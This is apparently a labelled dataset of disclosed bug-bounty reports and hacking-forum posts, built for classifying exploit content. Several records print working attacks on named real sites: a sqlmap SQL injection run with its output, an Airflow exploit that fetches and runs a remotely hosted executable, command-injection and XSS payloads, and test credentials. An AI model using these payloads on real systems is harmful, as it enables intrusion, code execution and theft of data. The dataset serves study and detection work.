-{"id": "6eee168f6b509ba718e3", "text": "[Privilege Escalation] OpenSSL engines can be used to bypass and/or disable the permission model\n\n**Summary:** Node.js 20 allows loading arbitrary OpenSSL engines even when the permission model is enabled, which can bypass and/or disable the permission model.\n\n**Description:** The permission model implementation permits loading arbitrary native code, e.g., through `crypto.setEngine()`, even when native addons are disallowed, which is the default configuration. Not only can this code bypass the permission system, it can also disable the permission system entirely, effectively allowing JavaScript code to escalate its own privileges.\n\n## Steps To Reproduce:\n\n 1. Enable the permission model.\n 2. Call, for example, `crypto.setEngine()` with a compatible OpenSSL engine.\n 3. Arbitrary code execution occurs, unaffected by the permission model.\n\n## Impact\n\nThe permission model is supposed to restrict the capabilities of running code. However, exploiting this vulnerability allows an attacker to easily bypass the permission model entirely. The OpenSSL engine can, for example, disable the permission model in the host process, and subsequently executed JavaScript code will be unaffected by the previously enabled permission model. This allows running JavaScript code to effectively elevate its own permissions.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1a229b3e6f49c89deceb", "text": "Hello every I am learning C#. because I want to bypass Anti-Viruses by C#.But I don’t know how to learn this knowledge about bypass Anti-Viruses by C#.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-08-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ec2d6aaa758268195cca", "text": "[SQL Injection] Time Based SQL Injection\n\nHello and greetings and respect to you, dear friends\nWe all know that the sql injection bug is very dangerous, so this bug should be eliminated as soon as possible.\nI've identified an SQL injection vulnerability of type Time Based on https://diplomaticrooms.state.gov this site use wordpress cms but its not plugin sql injection \nBelow, we see how we found this vulnerability \nIf you look carefully, we see that search in the website name Search results The gap has occurred there\nas you can see POST Method [POST https://diplomaticrooms.state.gov/?s=porcelain,%20gilt ]\nnow it's time to inject or generate POC with lovely tool sqlmap \nWe used a text file here by Name request.txt\nand this is our command in sqlmap you can use this command for your own confidence\n\npython3 sqlmap.py -r request --batch --random-agent --tamper=space2comment --level=5 --risk=3 --drop-set-cookie --threads 10 --dbs\n===========================================================================================\nPOST https://diplomaticrooms.state.gov/?s=porcelain,%20gilt HTTP/1.1\nHost: diplomaticrooms.state.gov\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0\nPragma: no-cache\nCache-Control: no-cache\nContent-Type: application/x-www-form-urlencoded\nReferer: https://diplomaticrooms.state.gov/?s=porcelain,%20gilt\nContent-Length: 133\nCookie: AWSALB=Bcs9ZrXwIhoRbHdfPbZAnVhkYJt9OJslAaUUgh5cOw9FMhg/43C2umhc4fQe7PtAorAHMSdr2dNw0asilWMYXjaFigXJhQJ2lxs05WQbpeI/cYRSGXLyo4E+hiQ1; AWSALBCORS=Bcs9ZrXwIhoRbHdfPbZAnVhkYJt9OJslAaUUgh5cOw9FMhg/43C2umhc4fQe7PtAorAHMSdr2dNw0asilWMYXjaFigXJhQJ2lxs05WQbpeI/cYRSGXLyo4E+hiQ1\nConnection: Close\nsearch=porcelain%2C+gilt%27+AND+%28SELECT+*+FROM+%28SELECT%28SLEEP%285%29%29%29Xeps%29+AND+%27HlBp%27%3D%27HlBp&post_types%5B%5D=post\n======================================================================================\n python3 sqlmap.py -r request --batch --random-agent --tamper=space2comment --level=5 --risk=3 --drop-set-cookie --threads 10 --dbs\n ___\n __H__\n ___ ___[\"]_____ ___ ___ {1.7.1.5#dev}\n|_ -| . [\"] | .'| . |\n|___|_ [']_|_|_|__,| _|\n |_|V... |_| https://sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 12:21:06 /2023-02-17/\n\n[12:21:06] [INFO] parsing HTTP request from 'request'\n[12:21:06] [INFO] loading tamper module 'space2comment'\n[12:21:06] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5' from file '/home/ubuntu/sqlmap/data/txt/user-agents.txt'\ncustom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y\n[12:21:06] [INFO] resuming back-end DBMS 'mysql'\n[12:21:06] [INFO] testing connection to the target URL\nsqlmap resumed the following injection point(s) from stored session:\n---\nParameter: #1* ((custom) POST)\n Type: boolean-based blind\n Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)\n Payload: search=porcelain, gilt' AND (SELECT -9789) OR 6323=6323# FROM (SELECT(SLEEP(5)))Xeps) AND 'HlBp'='HlBp&post_types[]=post\n---\n[12:21:07] [WARNING] changes made by tampering scripts are not included in shown payload content(s)\n[12:21:07] [INFO] the back-end DBMS is MySQL\nweb application technology: Apache, PHP 7.4.16\nback-end DBMS: MySQL 5 (MariaDB fork)\n[12:21:07] [INFO] fetching database names\n[12:21:07] [INFO] fetching number of databases\n[12:21:14] [WARNING] reflective value(s) found and filtering out\n[12:21:14] [INFO] resumed: 6\n[12:21:14] [INFO] retrieving the length of query output\n[12:21:14] [INFO] retrieved: 18\n[12:22:32] [INFO] retrieved: information_schema\n[12:22:32] [INFO] retrieving the length of query output\n[12:22:32] [INFO] retrieved: 5\n[12:23:01] [INFO] retrieved: mysql\n[12:23:01] [INFO] retrievin", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "82454db3b2a0cda1cb3f", "text": "[Improper Input Validation] Apache Airflow Google Cloud Sql Provider Remote Command Execution\n\n## 0x01 Test environment\nairflow 2.5.1\n[apache-airflow-providers-google](https://airflow.apache.org/docs/apache-airflow-providers-google/8.8.0/) 8.8.0\nBuild with docker compose\n## 0x02 Reproduction steps\n### 2.1 Prepare the malicious executable\nWrite the following `exec.cpp` file.\n```\n#include\nusing namespace std;\nint main(){\n system(\"mkdir /tmp/hello\");\n return 0;\n}\n```\nIn a linux environment, use g++ to compile and rename it to system\n```python\ng++ exec.cpp -o system\n```\n{F2213397}\nPut the compiled system malicious executable file into Google Cloud Storage, and set the permission to public. My address for this exploit is [https://storage.googleapis.com/swordlight/system](https://storage.googleapis.com/swordlight/system)\n\n### 2.2 Creating a Malicious Google Cloud SQL Database Connection\nCreate the following Google Cloud SQL Database connection named aaa under Admin->Connections Among them.\nHost, Schema, Login, and Port filed are required, just fill in the content that conforms to the format.\n{F2213400}\nAmong them, Extra filed fills in the actual content as follows, and note that sql_proxy_version is set to `../swordlight/system?a=`\n```python\n{\n \"project_id\":\"pivotal-gearing-375804\",\n \"instance\":\"hellopg\",\n \"location\":\"us-central1-b\",\n \"database_type\":\"postgres\",\n \"use_proxy\":\"True\",\n \"use_ssl\":\"False\",\n \"sql_proxy_use_tcp\":\"True\",\n \"sql_proxy_version\":\"../swordlight/system?a=\",\n \"sslcert\":\"\",\n \"sslkey\":\"\",\n \"sslrootcert\":\"\"\n}\n```\n### 2.3 Use the CloudSQLExecuteQueryOperator operator in Dag for verification\nCreate a google_test.py script that uses the CloudSQLExecuteQueryOperator operator. \nPut it in the `/opt/airflow/dags` directory so that it can be automatically loaded by airflow.The content is as follows, where gcp_cloudsql_conn_id is set to the connection name aaa we established above.\n```python\nfrom __future__ import annotations\n\nimport os\nimport subprocess\nfrom datetime import datetime\nfrom os.path import expanduser\nfrom urllib.parse import quote_plus\n\nfrom airflow import models\nfrom airflow.providers.google.cloud.operators.cloud_sql import CloudSQLExecuteQueryOperator\n\n\nSQL = [\n \"CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)\",\n \"CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)\", # shows warnings logged\n \"INSERT INTO TABLE_TEST VALUES (0)\",\n \"CREATE TABLE IF NOT EXISTS TABLE_TEST2 (I INTEGER)\",\n \"DROP TABLE TABLE_TEST\",\n \"DROP TABLE TABLE_TEST2\",\n]\n\n\npostgres_kwargs = dict(\n user=\"postgres\",\n password=r\"ktd2(%EzQ5\",\n public_port=\"5432\",\n public_ip=\"34.122.52.6\",\n project_id=\"pivotal-gearing-375804\",\n location=\"us-central1-b\",\n instance=\"hellopg\",\n database=\"postgres\",\n client_cert_file=\"key/postgres-client-cert.pem\",\n client_key_file=\".key/postgres-client-key.pem\",\n server_ca_file=\".key/postgres-server-ca.pem\",\n)\n\n\n# Postgres: connect via proxy over TCP\nos.environ[\"AIRFLOW_CONN_PROXY_POSTGRES_TCP\"] = (\n \"gcpcloudsql://{user}:{password}@{public_ip}:{public_port}/{database}?\"\n \"database_type=postgres&\"\n \"project_id={project_id}&\"\n \"location={location}&\"\n \"instance={instance}&\"\n \"use_proxy=True&\"\n \"sql_proxy_use_tcp=True\".format(**postgres_kwargs)\n)\n\nconnection_names = [\n \"proxy_postgres_tcp\",\n]\n\nwith models.DAG(\n dag_id=\"example_gcp_sql_query\",\n start_date=datetime(2021, 1, 1),\n catchup=False,\n tags=[\"example\"],\n) as dag:\n prev_task = None\n\n\n task = CloudSQLExecuteQueryOperator(\n gcp_cloudsql_conn_id=\"aaa\",gcp_conn_id=\"proxy_postgres_tcp\",task_id=\"example_gcp_sql_task_proxy_postgres_tcp\" , sql=SQL\n )\n tasks.append(task)\n if prev_task:\n prev_task >> task\n prev_task = task\n\n# [END howto_operator_cloudsql_query_operators]\n```\n{F2213402}\nOpen the example_gcp_sql_query dag corresponding to our google_test.py script in the UI management interface, and run.\n{F2213403}\nClick to view the running graph and logs through the Graph menu.\n{F2213404}\n{F2213405}\nIt can be seen fr", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aaae9ff87c09ba469c55", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS via ' profile ' at https://www.miroyalcanin.cl/\n\nhi team \ni found stored xss on profile \n\n1. Go to registration page (https://www.miroyalcanin.cl/)\n2. Verified your account.\n3. Go to login page and login your account.\n\nFor the fastly test, use this credentials to login (my test account)\n\n* For Attacker \n\nemail: deweha7916@mitigado.com\npass: Password\n* For Victime\n\nemail: povik23037@cyclesat.com\npass: password\n\nAfter login i change animal name to payload xss .. i open victime account and i put attacker profile url so i succeeded.\n\n{F2258722}\n\n## Impact\n\nStored Cross Site Scripting which attacker can execute malicious javascript payload.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "722df1502c432145c39b", "text": "cherryeater: I will happy to help you without spoilering if you still needed. Can you give any more hints?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b9e7742314e76539350a", "text": "[Unknown] [CPP]Add query to detect bugs like CVE-2017-5123\n\nThis bug was reported directly to GitHub Security Lab.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2017-5123"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b60ba0cb2e8ca8e68b94", "text": "[Information Disclosure] Hackers two email disclosed on submission at hackerone hactivity\n\n**Summary:**\nI was reading all hacker one's disclosed report , One this got my attention , where hackers/reporters email disclosed on video poc \n\n\n### Steps To Reproduce\n\n1. visit this report https://hackerone.com/reports/262661\n\n2. Scroll down until you see video poc \n{F2666724}\n\n3. Watch the video poc from 6.00-7.15 minutes \nas you can see hackers/reporters two emails has been disclosed \n███████\n████\n\n* Hacker one should check properly before disclosing any submission & must hide all the sensitive content from any submission .\n\n## Impact\n\ninformation disclosure", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e3f8e2c201dad8887ef8", "text": "[Code Injection] CVE-2022-40127: RCE in Apache Airflow <2.4.0 bash example\n\nairflow-2.3.3/airflow/example_dags/example_bash_operator.py has a command injection vulnerability.\nI can control the run_id in the following code(example_bash_operator.py),So I can inject custom commands.\n```\n also_run_this = BashOperator(\n task_id='also_run_this',\n bash_command='echo \"run_id={{ run_id }} | dag_run={{ dag_run }}\"',\n )\n```\nEnter the DAGs menu and start example_bash_operator task, select “Trigger DAG w/ config”.Set the run_id to \" `touch /tmp/success` \" and trigger.\n\n{F2036322}\n\n## Impact\n\nExecute any OS command", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-40127"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3c1d365acbc1e76a9466", "text": "[Cross-site Scripting (XSS) - Stored] XSS and HTML Injection on the pressable.com search box\n\n## Summary:\nHi, I have found that search box on pressable.com is vulnerable for XSS attack and HTML Injection .\n\n## Steps To Reproduce:\n\n1. Visit https://pressable.com/knowledgebase/\n2. Put the payload on the search box. \n\nXSS Payload: \">\n\nHTML Injection Payload:
\n\n3.XSS will be triggered /HTML Injection will be reflected.\n\nLink with XSS Payload: [https://pressable.com/?s=%22%3E%3Cimg+src%3Dx+onerror%3Djavascript%3Aalert%28document.cookie%29%3E&post_type=knowledgebase](https://pressable.com/?s=%22%3E%3Cimg+src%3Dx+onerror%3Djavascript%3Aalert%28document.cookie%29%3E&post_type=knowledgebase)\n\nLink with HTML Injection Payload: [https://pressable.com/?s=%3Ch1%3E%3Cfont+Color%3Dred%3EVisit++Our++New++WebSite+%3C%2Fh1%3E%3Ch3%3E%3Cmark%3E%3Ca+href%3D%22https%3A%2F%2Fexample.com%22%3Ee+x+a+m+p+l+e+.+c+o+m+%3C%2Fa%3E%3C%2Fmark%3E%3C%2Fh3%3E&post_type=knowledgebase](https://pressable.com/?s=%3Ch1%3E%3Cfont+Color%3Dred%3EVisit++Our++New++WebSite+%3C%2Fh1%3E%3Ch3%3E%3Cmark%3E%3Ca+href%3D%22https%3A%2F%2Fexample.com%22%3Ee+x+a+m+p+l+e+.+c+o+m+%3C%2Fa%3E%3C%2Fmark%3E%3C%2Fh3%3E&post_type=knowledgebase)\n\n## Supporting Material/References:\nPOC Video Attached\n\n## Impact\n\nDue to these vulnerabilities, attacker can easily divert victims to their malicious site and able to get credentials of victims.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b9c32f6530c073f35028", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS in merge request pages\n\nHello Gitlab!\n\n[Vulnerable code](https://gitlab.com/gitlab-org/gitlab/blob/9d81e97d9d111f874799605ce50ae480ae15b0c5/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue#L47)\n\nTo reproduce the bug, we need to open a merge request with the following conditions:\n1. Project must have 'Merge commit with semi-linear history' or 'Fast-forward merge' merge method\n2. The merge request must require rebase before fast-forward/merge\n3. A visitor of the merge request page must not have permissions to push to source branch\n4. Target branch name must have a special name `` :) \n\n**Steps to reproduce:**\n\n1. Run Gitlab `docker run --detach --hostname gitlab.example.com --publish 443:443 --publish 80:80 --publish 22:22 --name gitlab gitlab/gitlab-ce:latest`\n2. Create a new project\n3. Go to the project settings and set the 'Merge method' to 'Fast-forward merge' or 'Merge commit with semi-linear history' {F618529}\n4. Clone the repository and run the following in the repository:\n\n ```bash\n touch 1.txt\n git add 1.txt\n git commit -m \"initial commit\"\n git push origin master\n \n git checkout -b \"\"\n touch 2.txt\n git add 2.txt\n git commit -m \"add 2.txt\"\n git push origin \"\"\n \n git checkout master\n touch 3.txt\n git add 3.txt\n git commit -m \"add 3.txt\"\n git push origin master\n ```\n\n5. Create a merge request `master` => ``\n6. Then we have to visit the merge request page under a user who does not have permissions to push to the source branch (in our case, `master` branch). For example: \n * Make the project public and visit the merge request page under any user who does not have permissions in the project (or without authorization)\n * Invite a user to the project, but without permissions to push to the source branch.\n\n{F618526}\n{F618527}\n{F618528}\n\n```bash\nroot@gitlab:/# gitlab-rake gitlab:env:info\n\nSystem information\nSystem:\t\t\nCurrent User:\tgit\nUsing RVM:\tno\nRuby Version:\t2.6.3p62\nGem Version:\t2.7.9\nBundler Version:1.17.3\nRake Version:\t12.3.3\nRedis Version:\t3.2.12\nGit Version:\t2.22.0\nSidekiq Version:5.2.7\nGo Version:\tunknown\n\nGitLab information\nVersion:\t12.4.0\nRevision:\t1425a56c75b\nDirectory:\t/opt/gitlab/embedded/service/gitlab-rails\nDB Adapter:\tPostgreSQL\nDB Version:\t10.9\nURL:\t\thttp://gitlab.example.com\nHTTP Clone URL:\thttp://gitlab.example.com/some-group/some-project.git\nSSH Clone URL:\tgit@gitlab.example.com:some-group/some-project.git\nUsing LDAP:\tno\nUsing Omniauth:\tyes\nOmniauth Providers: \n\nGitLab Shell\nVersion:\t10.2.0\nRepository storage paths:\n- default: \t/var/opt/gitlab/git-data/repositories\nGitLab Shell path:\t\t/opt/gitlab/embedded/service/gitlab-shell\nGit:\t\t/opt/gitlab/embedded/bin/git\nroot@gitlab:/# \n```\n\n## Impact\n\nAn attacker can:\n\n1. Perform any action within the application that a user can perform\n2. Steal sensitive user data\n3. Steal user's credentials", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c3b3f0c93f2a5e77cd5e", "text": "[Misconfiguration] Subdomain takeover on 'de-headless.staging.gymshark.com'\n\nThe Gymshark subdomain https://de-headless.staging.gymshark.com/ was pointing to an unclaimed Shopify site. Because of this an attacker could claim this subdomain, via Shopify, and serve their own content.\n\nThis is extremely dangerous as an attacker could serve any malicious content on this domain such as malware, domain defacement, phishing campaigns etc. \n\nAlso, phishing victims wouldn't be able to identify the maliciousness of a potential phishing campaign because it would be from a valid Gymshark subdomain.\n\n**Note:** *I have temporarily claimed this domain for PoC and have password protected the site to reduce unnecessary impact to others. I am happy to remove this protection if you require further takeover evidence*.\n\n## Remediation\n- Remove the CNAME record for Shopify on 'de-headless.staging.gymshark.com'.\n- I can release 'de-headless.staging.gymshark.com' for reclaim if needed.\n\n## PoC Link\nhttps://de-headless.staging.gymshark.com/\n\n## PoC Evidence\n{F1954064}\n{F1954066}\n{F1954069}\n{F1954070}\n\nThanks, A-p0c\n\n## Impact\n\nIf an attacker controlled https://de-headless.staging.gymshark.com/ they could host any malicious content they wanted, such as malware, defacement, a convincing phishing campaign", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "882ce4afa288ee9e0cf9", "text": "Thank you everybody, this topic helped a lot. Another hint, there are 3 fields with = that could be used on the injection. Make sure to test all of them.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "edfa8d7b5ade20980511", "text": "Thanks a lot @onthesauce ! Thought that I’ve already tried to do that yesterday. But with a fresh set of eyes today and your cp tips I’ve managed to get the flag. Happy hacking!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "489f9ce03734efa924e8", "text": "[Improper Authentication - Generic] Account Takeover via SMS Authentication Flow\n\n## Summary:\nDuring the **authentication** flow, an SMS is sent to the user in order to validate the session and proceed to the user account. The way Zenly API handles this flow is by:\n1. Calling the `/SessionCreate` endpoint with the mobile phone number of the user.\n2. A session for the user is created and a session token is returned, but no operations with this session are possible until the verification is complete.\n3. An SMS message is sent to the user, containing a verification code.\n4. Calling the `/SessionVerify` endpoint with both the session token and the verification code received by SMS.\n5. Once this request is successfully completed, the session token becomes valid and the user is now logged in.\nAfter the first call to `/SessionCreate`, subsequent calls will return ==the same session token==, until a call to `/SessionVerify` is made with a valid verification code. \n\n## Steps To Reproduce:\nTo reproduce this issue, an environment that enables intercepting and decoding network requests is required. Once this environment is set up, we are able to gain visibility over network activity.\nBy following a typical login flow, we can gain knowledge of the network requests that are involved. The flow starts by requesting the mobile phone number from the user. Once the user inputs their phone number, they will be prompted for a verification code that is sent through SMS.\n{F1355357}\nAt this moment, before entering the verification code, a request to `/SessionCreate` is launched. Note that this request (on the left) contains the mobile phone number of the user, and the response (on the right) to this request contains a **session token**, as shown below.\n███████\nNow, if an attacker also sends a request to `/SessionCreate` with the mobile phone number of the legitimate user, they will obtain the same session token. The response to this request, initiated by the attacker, is shown below:\n█████████\n**Note:** In this example, the attacker called `/SessionCreate` after the legitimate user. However, the attacker could also have called `/SessionCreate` before the legitimate user. This would have caused Zenly (on the side of the legitimate user) to obtain **the same session token that the attacker obtained**.\nAt this moment, the legitimate user will receive an SMS message containing a verification code. The authentication flow is finished (meaning the session token will become valid) once the user inputs this code in their Zenly application. However, once the user does this, the attacker will also end up with a valid session token in their hands (**since it is the same token**).\nThe attacker can then use this token to impersonate the legitimate user, executing any request to the Zenly API with it. The attacker can also, at any time, check if the session token is valid by launching a request to `/Me`, an endpoint that returns information about the current session. If the verification code has not yet been entered by the legitimate user, requests to `/Me` will return a 401 Unauthorized response. Once the code is entered, requests to `/Me` will return session information (such as phone number and user identifier), as shown below:\n████\nOnce the attacker knows the session is valid, they can launch requests to `███████`, `██████` or `████` instead, thus **gaining access to notifications, geolocation, and conversations** of the legitimate user and their friends. \n\n## Suggested Mitigation:\nIn order to mitigate this issue, the following steps could be taken:\n-\tSession tokens should be unique for each call to `/SessionCreate`.\n-\tA new SMS code should be sent on every call to `/SessionCreate`.\n-\tPrevious SMS codes should be invalidated once a new one is sent.\n-\tApply rate-limiting to both `/SessionCreate` and `/SessionVerify` endpoints.\n\n## Impact\n\nAn attacker can take over a user account by abusing the `/SessionCreate endpoint`, which will consistently return the same session token (although not yet valid) for the same user. Once the legitimate user validates the ", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c2befbb903297a89aa0b", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS in SVG file as data: url\n\nHi Shopify team, \n\nIn rich text editors (products, gifts, pages, etc) you allow *data:* URLs to be set as image sources, and I was able to store XSS in such image. While won't execute script that is stored inside the SVG it points to, if one opens the image, the script will be executed. What is important here is that you actually can use javascript here to access /admin area.\n\n#Steps to reproduce:\n1. Create a product with such html description:\n```html\n\n```\nInside this base 64 is code like this:\n\n```html\n